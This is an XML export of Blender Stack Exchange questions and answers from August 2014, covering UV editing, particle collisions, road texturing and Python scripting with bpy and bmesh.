  <row Id="14827" PostTypeId="2" ParentId="14814" CreationDate="2014-08-08T12:57:37.307" Score="1" Body="&lt;p&gt;Have you tried the &lt;a href=&quot;https://blender.stackexchange.com/a/14462/5383&quot;&gt;DupliVerts&lt;/a&gt; method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with materials and textures, but you can, for example use the input image as a texture on the base cube and check the From Dupli in the Mapping Options (See &lt;a href=&quot;https://www.youtube.com/watch?v=Jx536xaf9zw#t=236&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for an example, unfortunately in German, but not too complicated to follow without explanation).&lt;/p&gt;&#xA;" OwnerUserId="5383" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-08-08T12:57:37.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14829" PostTypeId="2" ParentId="14819" CreationDate="2014-08-08T13:48:58.803" Score="2" Body="&lt;p&gt;In Windows you're in weight-paint mode and in Ubunto you're in wireframe view (in object mode).  If you want to change the Ubuntu version, hover over the 3D view and hit Ctrl+Tab to switch modes.  Alternatively, use the menus at the bottom of the 3D view to switch between modes (see screenshot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qcwqM.jpg&quot; alt=&quot;wireframe vs weight paint&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="3292" LastEditDate="2014-08-08T13:59:18.007" LastActivityDate="2014-08-08T13:59:18.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14830" PostTypeId="1" CreationDate="2014-08-08T14:02:21.387" Score="1" ViewCount="452" Body="&lt;p&gt;I have N objects in a scene and each has baked keyframes on some frame_start, frame_end interval. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me to write a script to scale keyframes for all of the objects along x axis and set interpolation type to constant. I cannot find an appropriate function to scale that programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="5500" LastActivityDate="2015-04-05T20:57:56.827" Title="Scale keyframes for multiple objects with a script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14831" PostTypeId="2" ParentId="14826" CreationDate="2014-08-08T14:18:17.673" Score="3" Body="&lt;p&gt;I am not aware of a method to merge the UV islands.  The best way that I am aware of is to turn on the vertex snapping to overlap the islands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QxzJX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QxzJX.png&quot; alt=&quot;Turn on Vertex Snapping&quot;&gt;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can hold down CTRL (or click the magnet to automatically snap) and drag the vertices to the desired locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BhKq8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BhKq8.png&quot; alt=&quot;Snapping&quot;&gt;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;" OwnerUserId="5505" LastEditorUserId="32220" LastEditDate="2019-03-12T20:01:44.797" LastActivityDate="2019-03-12T20:01:44.797" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14834" PostTypeId="2" ParentId="14818" CreationDate="2014-08-08T14:37:49.220" Score="4" Body="&lt;p&gt;What I do with road textures is to differentiate the roads by type. Multi-lane, controlled access, divided throughways, might be one type; multi-lane urban roadways, where there may be four, six, or more rarely more, lanes in each direction, but where the roadways have frequent junctions with perpendicular streets, two land urban streets, two lane rural roads, &amp;amp;c. Then I create a material and texture for each type of roadway, and apply it to the appropriate sections of roadway. It's relatively easy, but not particularly fast, as sections have to be created, and materials mapped to them individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;REVISED ANSWER&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that in many cases, software packages like Blender are so easy to use that it's easy to do virtual doodling, and then because of the time put into a project, we start seeing the doodling as something more. When this happens it can become a challenge to do something different due to the time we have invested in the doodle. But sometimes it is expedient to let the doodle remain a doodle, and go back and start over with a better, and more thoughtfully considered workflow. Using the screenshot posted by the OP as an example, there are a number of considerations that could benefit from this. For example, the screenshot seems to suggest only two types of roads, but the sizes may not be of the proper proportion. Some of the wider lines, might represent 4 lane roads, while others might be 6 lanes wide. Same with the smaller lines. Some might be two lane streets, and others might be one and one-half lane alleys. And the overall layout of the streets might not be quite what one would wish, either, given a bit more thought. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I frequently do, after having a map such as the one in the image, is to create a screenshot of it, then scale the image to the sizes I might imagine it to be. So, suppose I decide that the image needs to be transformed a bit: I want it somewhat rescaled, so that what is the vertical dimension (as seen on the screen) is 2 units, and the horizontal dimension is 3. I'll create a plane object in Blender that is 2 units x 3 units, and use the image as a UV texture to place the map on the plane. With the lighting and camera in layer 1, I place the background image in Blender layer 2. Next, also in layer 2, I create a grid mesh as a separate object, but the same size as the background image. I place a separate grid mesh object in layer 3, to use as the basis for my modeling. Unless the city is unusually flat, I mark terrain contour lines first, usually outlining these in the base grid. Then I place waterways--streams, rivers, ponds, and lakes--second, since that is the usual natural order of things. These are created as separate objects at the beginning, so that I can hide and reveal them at the click of the eye button in the outliner window. Third, I place the roads. Having previously considered the size and nature of the roadways, I start by creating a small segment to the desired profile, using appropriate profiles for various types of roads. a lane and a half alley in an urban area may be simply a flat surface. The two line street with which it intersects will have a more complex profile: created with a pedestrian walkway and curb on each side, with the two lanes each with a small grade which goes from a peak in the center of the street, to a low point at the curb edge. Generally speaking, each lane of the roadway will be represented by a separate division of the roadway. When I have a profile for a particular type of road way defined to my satisfaction, then I'll copy the profile to a point over the background image, and extrude it a short distance, then define the necessary materials (and textures, if I use any) and assign them to the section of road created. Then I extrude the road sections, which will generally reproduce the assigned materials and textures on each new section of roadway created by extrusion.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-08-09T05:04:27.153" LastActivityDate="2014-08-09T05:04:27.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14835" PostTypeId="2" ParentId="14819" CreationDate="2014-08-08T15:07:19.123" Score="0" Body="&lt;p&gt;In Blender when you save a file, the user interface for that file gets saved as well. You can choose to use the file's user interface when you open it on a different system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File-&gt;Open (or &lt;kbd&gt;CTRL&lt;/kbd&gt; &lt;kbd&gt;O&lt;/kbd&gt;) &lt;img src=&quot;https://i.stack.imgur.com/MqXlh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the next window opens to select the file press &lt;kbd&gt;T&lt;/kbd&gt; to enable the tool shelf&#xA;and look for the &lt;strong&gt;Load UI&lt;/strong&gt; option on the bottom left side of the screen.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rKF7y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-08-08T15:07:19.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14836" PostTypeId="1" AcceptedAnswerId="14838" CreationDate="2014-08-08T15:24:54.690" Score="4" ViewCount="25767" Body="&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=UWU7cwsemoY&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;Please Refer to Video&lt;/a&gt;&#xA;The blue cubes are using active rigid body properties. The red cubes are emitted using a particle system. The blue cubes are being affected by the surface of the yellow object, but the red particle cubes fall through. So my question is, how do I make particles collide with object surfaces?&lt;/p&gt;&#xA;" OwnerUserId="5528" LastActivityDate="2014-08-08T16:04:19.860" Title="How do I make particles collide with object surfaces?" Tags="&lt;animation&gt;&lt;particles&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14837" PostTypeId="1" CreationDate="2014-08-08T15:28:08.227" Score="0" ViewCount="544" Body="&lt;p&gt;I have a script that works fine from the text editor. It's a button nested in the sequencer header :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class mybutton(bpy.types.Operator):  &#xA;    bl_label = &quot;mylabel&quot;&#xA;    bl_idname = &quot;sequencer.myidname&quot;&#xA;    bl_description = &quot;&quot;&#xA;&#xA;    def invoke(self, context, event):&#xA;        if bpy.context.scene == bpy.data.scenes['myscene']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when I turn the script into an addon, this line:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if bpy.context.scene == bpy.data.scenes['myscene']:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;throws this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AttributeError:NoneType object has no attribute context&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any idea why ? How can I get the active scene otherwise ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a ton !&lt;/p&gt;&#xA;" OwnerUserId="5482" LastActivityDate="2014-08-08T15:28:08.227" Title="bpy.context... --&gt; no attribute error" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14838" PostTypeId="2" ParentId="14836" CreationDate="2014-08-08T16:04:19.860" Score="5" Body="&lt;p&gt;You need to enable 'Collisions' on the object you want the particles to collide with on the 'Physics' tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H7ek3.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-08-08T16:04:19.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14839" PostTypeId="2" ParentId="14830" CreationDate="2014-08-08T17:01:23.763" Score="1" Body="&lt;p&gt;I found a solution, however it resizes keypoints around arbitrary point.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;old_type = bpy.context.area.type&#xA;bpy.context.area.type = 'GRAPH_EDITOR'&#xA;bpy.ops.graph.interpolation_type(type='CONSTANT')&#xA;bpy.context.scene.frame_current = 1&#xA;bpy.ops.transform.resize(value=(6, 1, 1))&#xA;bpy.context.area.type = old_type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5500" LastActivityDate="2014-08-08T17:01:23.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14840" PostTypeId="2" ParentId="14802" CreationDate="2014-08-08T17:10:55.430" Score="0" Body="&lt;p&gt;Ok, the solution is ridiculously simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the first frame, a keyframe should be inserted for each required channel &lt;strong&gt;by using 'I' in 3D view&lt;/strong&gt; and selecting them from the popup menu ('Insert keyframes&quot; from the timeline cannot be used without this initial process). Then those channels are enabled for the whole length of animation without any of the issues mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that in this case, location wasn't inserted in the first frame (for the blue object), hence this behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all help!&lt;/p&gt;&#xA;" OwnerUserId="5515" LastEditorUserId="5515" LastEditDate="2014-08-08T22:02:23.107" LastActivityDate="2014-08-08T22:02:23.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14841" PostTypeId="2" ParentId="14808" CreationDate="2014-08-08T17:33:44.690" Score="19" Body="&lt;p&gt;&lt;code&gt;.max&lt;/code&gt; is the native internal format of 3DS Max, just like &lt;code&gt;.blend&lt;/code&gt; is Blender's native format. To get models into blender use an interchange format such as Obj, Collada or FBX. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have the &lt;code&gt;.max&lt;/code&gt; file and no access to 3DS Max, then yes, there's no way to import it into blender, just like there's no way to import a &lt;code&gt;.blend&lt;/code&gt; file into Max, or a &lt;code&gt;.max&lt;/code&gt; file into Maya.&lt;/p&gt;&#xA;" OwnerUserId="179" LastEditorUserId="15795" LastEditDate="2016-09-26T18:51:49.897" LastActivityDate="2016-09-26T18:51:49.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14842" PostTypeId="1" AcceptedAnswerId="14856" CreationDate="2014-08-08T18:09:32.120" Score="3" ViewCount="411" Body="&lt;p&gt;I made my own tab &lt;em&gt;SV&lt;/em&gt;, but there are addons that I do not need, &lt;em&gt;Oscurart Tools&lt;/em&gt; ,&lt;em&gt;Contour Retopolgy&lt;/em&gt; and &lt;em&gt;Object Tools&lt;/em&gt;. Why are they not in their own tabs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;green - my panels, red - not mine&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HxCJW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I activate new addons they appear here in my tab also. How to delete the other addons from my list, or how to move my own on top?&lt;/p&gt;&#xA;" OwnerUserId="1429" LastEditorUserId="2217" LastEditDate="2014-08-08T21:30:51.173" LastActivityDate="2014-08-10T11:54:05.433" Title="Remove addons from tabs in 3d window" Tags="&lt;interface&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14843" PostTypeId="2" ParentId="14805" CreationDate="2014-08-08T18:27:06.750" Score="0" Body="&lt;p&gt;As ideasman has explained you need at least 2.6.x of python installed, due to the &lt;em&gt;relatively&lt;/em&gt; newer python features uses compared to the version you have currently install, the recommended version being 2.6.7 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script have additional dependencies, pyffi which requires the use of the 32-bit install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For recommended installation requirements see - &lt;a href=&quot;http://niftools.sourceforge.net/wiki/Blender&quot; rel=&quot;nofollow&quot;&gt;http://niftools.sourceforge.net/wiki/Blender&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-08-08T18:27:06.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14844" PostTypeId="1" AcceptedAnswerId="14857" CreationDate="2014-08-08T18:52:34.480" Score="3" ViewCount="1289" Body="&lt;p&gt;Let's suppose I create a bmesh with the following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bmesh&#xA;bm = bmesh.new()&#xA;bm.from_mesh(obj.data)&#xA;bmesh.ops.triangulate(bm, faces=bm.faces)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a look at the following picture to get to know what counterclockwise (&lt;strong&gt;CCW&lt;/strong&gt;) and clockwise (&lt;strong&gt;CW&lt;/strong&gt;) indexing means:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f2j00.png&quot; alt=&quot;CCW vs CW&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I iterate over the meshes faces after triangulating it is there any indication/standard in what order (&lt;strong&gt;CCW&lt;/strong&gt; or &lt;strong&gt;CW&lt;/strong&gt;) relative to the faces front/normal I will iterate over the loops of each face?&#xA;Is it safe to assume that I will the following script will either always output [1,2,3] or [3,2,1] for a triangle like seen above?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;l = []&#xA;for face in bm.faces:&#xA;    for loop in face.loops:&#xA;        l.append(loop.vert.index)&#xA;assert l==[1,2,3] // Or [3,2,1], or one of those lists rotated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS: Can anyone propose a nice solution that will always guarantee CCW indexing for the faces loops?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-10-08T11:51:51.817" Title="What is the loop order of bmesh faces?" Tags="&lt;scripting&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14845" PostTypeId="1" AcceptedAnswerId="14854" CreationDate="2014-08-08T19:58:51.730" Score="2" ViewCount="558" Body="&lt;p&gt;I would imagine it would be something like this, but this, and similar, does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9xbbG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xbbG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="2217" LastEditDate="2014-08-08T21:38:31.290" LastActivityDate="2015-03-01T23:36:54.027" Title="How to setup a shortcut for UV Editor's selection modes?" Tags="&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14846" PostTypeId="2" ParentId="14814" CreationDate="2014-08-08T20:02:16.470" Score="5" Body="&lt;p&gt;Some quick tests show that blender is designed to work with objects that have high vertex counts but not really with a large number of objects. Even with 3000 objects in a scene it takes a few seconds to select all objects, yet selecting the 33,000 vertices of those objects all joined together is almost instant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested four ways to create multiple cubes.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create 1000 cube objects - 8 seconds&lt;/li&gt;&#xA;&lt;li&gt;Create a single mesh containing 1000 disconnected cube meshes - 0.5 seconds&lt;/li&gt;&#xA;&lt;li&gt;As 2 then separate by loose parts to get 1000 cube objects - 5 seconds&lt;/li&gt;&#xA;&lt;li&gt;Create a cube and a grid with 1000 verts, enable dupliverts and make real - 0.6 seconds&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am thinking your best approach would be to create a mesh that is a single plane with a vertex where you want each cube to be located, enable dupliverts, then if you want them separate for rigid body you can make the dupliverts real.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For info the script used to test these times &lt;a href=&quot;https://gist.github.com/anonymous/492ee2a2b6b59a85a975&quot; rel=&quot;noreferrer&quot;&gt;is here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-08T20:02:16.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14849" PostTypeId="1" CreationDate="2014-08-08T22:38:15.243" Score="6" ViewCount="2657" Body="&lt;p&gt;In my 3d scene view, with display mode set to &quot;textured&quot;, my texture looks fine. But when I render it the texture stretches all over the place. All my settings are at default, just a single sun object for lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/br3T3AY.png&quot; alt=&quot;Scene view&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/aqVAYwN.png&quot; alt=&quot;Rendered&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5530" LastEditorUserId="599" LastEditDate="2014-08-08T22:45:41.587" LastActivityDate="2014-08-08T22:48:38.590" Title="Why does my scene preview look so different than the render?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14850" PostTypeId="2" ParentId="14849" CreationDate="2014-08-08T22:48:38.590" Score="3" Body="&lt;p&gt;Ensure that you have UV mapping selected in &lt;em&gt;Properties &gt; Textures &gt; Mapping &gt; Coordinates&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jqsMn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have one UV map it's not necessary to select it in the &lt;em&gt;Map&lt;/em&gt; drop down, but you can if you want.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-08T22:48:38.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14853" PostTypeId="2" ParentId="14826" CreationDate="2014-08-09T08:20:20.373" Score="1" Body="&lt;p&gt;For an existing model you can move the uv-layout so that all leaves are using the same part of the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan to do this when you start creating the model, you can create one leaf and uv unwrap it. Then you select the leaf vertices and duplicate &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; then move it into position. When you duplicate faces that have uv's attached, the uv's will also be duplicated, therefore each leaf will use the same part of the image and look the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you can easily duplicate them, remember that identical leaves will be noticeable so you might want to have a few small variations.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-09T08:20:20.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14854" PostTypeId="2" ParentId="14845" CreationDate="2014-08-09T08:42:16.303" Score="3" Body="&lt;p&gt;Your in the wrong area. 2DView is general navigation for flat area types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UV/Image editor shortcuts are under Image -&gt; UV Editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/klrKe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also for the value you will need to make it a string by using quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hza0g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-09T08:42:16.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14855" PostTypeId="2" ParentId="14724" CreationDate="2014-08-09T08:53:56.740" Score="0" Body="&lt;p&gt;I have now successfully answered all of the questions to all of the issues I was having previously!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Too high vertex count - reduced&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Small triangles that added material upon import into Second Life - removed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mirrored object showing two left feet - still unsure how this one fixed itself&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Avatar being offset (flung) along the Z axis - upon import into SL, don't include joint positions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frankenstein mishap, click only feet, export, manually choose the default settings for rigged open sim instead of choosing the automatic one, not sure why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may have graduated from Grasshopper level Blender user!&lt;/p&gt;&#xA;" OwnerUserId="5213" LastActivityDate="2014-08-09T08:53:56.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14856" PostTypeId="2" ParentId="14842" CreationDate="2014-08-09T09:18:40.820" Score="4" Body="&lt;p&gt;When an addon defines a panel for the toolbar it should add a property called &lt;code&gt;bl_category&lt;/code&gt; which defines the name of the tab it will be shown in. If this property is not defined then the panel will be shown in every toolbar tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current repository versions of Contours and Oscurart Tools have been updated to have their own tabs. Contours was updated in January and Oscurart Tools in February. The solution for these would be to update them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CGCOOKIE_OT_retopo_contour_panel(bpy.types.Panel):&#xA;    '''Retopologize Forms with Contour Strokes'''&#xA;    bl_category = &quot;Retopology&quot;&#xA;    bl_label = &quot;Contour Retopolgy&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know which addon Object Tools belongs to. To manually fix this edit it's source file by right-clicking on one of it's buttons and select Edit Source. Then add a &lt;code&gt;bl_category&lt;/code&gt; property to the panel. If this addon is located within the official addons or addons_contrib then you will need to repeat this when you upgrade, if the addon still hasn't been updated. If it is an official addon or from addon_contrib them submit a bug report (include a patch?) to get it updated.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-09T09:18:40.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14857" PostTypeId="2" ParentId="14844" CreationDate="2014-08-09T11:12:26.053" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Modeling/BMesh/Design&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:2.6/Source/Modeling/BMesh/Design&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Loops store several handy pointers:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;v - pointer to the vertex at the start of the edge (where &quot;start&quot; is defined by CCW order)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;this means that CCW indexing can be assumed if I don't get it wrong. Also note that the loop-list on the face is circular according to this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Faces link to a loop in the loop cycle, the circular linked list of loops defining the boundary of the face. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-08-09T11:12:26.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14858" PostTypeId="1" AcceptedAnswerId="14859" CreationDate="2014-08-09T11:35:08.963" Score="2" ViewCount="1092" Body="&lt;p&gt;I try to display a custom property of a 3D object belonging to scene A in a panel that only appears in scene B. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of the initialization : The scene A (that will be set by the user) it's not defined yet. So the panel shouldn't be shown. Also, when no object is active in the scene A, the panel should be hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, here's my code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class tags_panel(bpy.types.Panel):     &#xA;    bl_space_type = &quot;SEQUENCE_EDITOR&quot;       &#xA;    bl_region_type = &quot;UI&quot;          &#xA;    bl_label = &quot;zebra&quot;           &#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        if bpy.context.screen.scene.name == 'B':&#xA;            return&#xA;&#xA;    def draw(self, context):&#xA;        global main_scene&#xA;        try:&#xA;            self.layout.prop(main_scene.objects.active, &quot;my_prop&quot;)&#xA;        except NameError: &#xA;            print(&quot;something wrong...&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For now the panel is not showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain me the use of poll() and how I can manage to display the panel only if all conditions are met ? Thank you so much !&lt;/p&gt;&#xA;" OwnerUserId="5482" LastActivityDate="2014-08-09T11:47:30.310" Title="Custom property panel not showing" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14859" PostTypeId="2" ParentId="14858" CreationDate="2014-08-09T11:47:30.310" Score="2" Body="&lt;p&gt;A panel disappears if &lt;code&gt;poll()&lt;/code&gt; returns False:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.scene.name == 'B'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;Scene.name&lt;/code&gt; is equal to &lt;code&gt;'B'&lt;/code&gt;, it will show.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-09T11:47:30.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14860" PostTypeId="1" AcceptedAnswerId="14861" CreationDate="2014-08-09T16:23:54.423" Score="2" ViewCount="971" Body="&lt;p&gt;I modeled a simple wall with a window using a cube and loop cuts. I also set the crease of each edge to 1.0. I intend to sculpt it now to get a rougher look. The problem is that when I add a subdivision level with the multiresolution modifier,  I get a mesh with a highly varying vertex density.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nfJgFm.png&quot; alt=&quot;before&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3AbDGm.png&quot; alt=&quot;after&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can subdivide it to get a base mesh with an even vertex density?&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="3127" LastEditDate="2014-08-09T17:08:42.877" LastActivityDate="2016-07-19T16:17:24.057" Title="How can I obtain an even vertex density base mesh?" Tags="&lt;topology&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
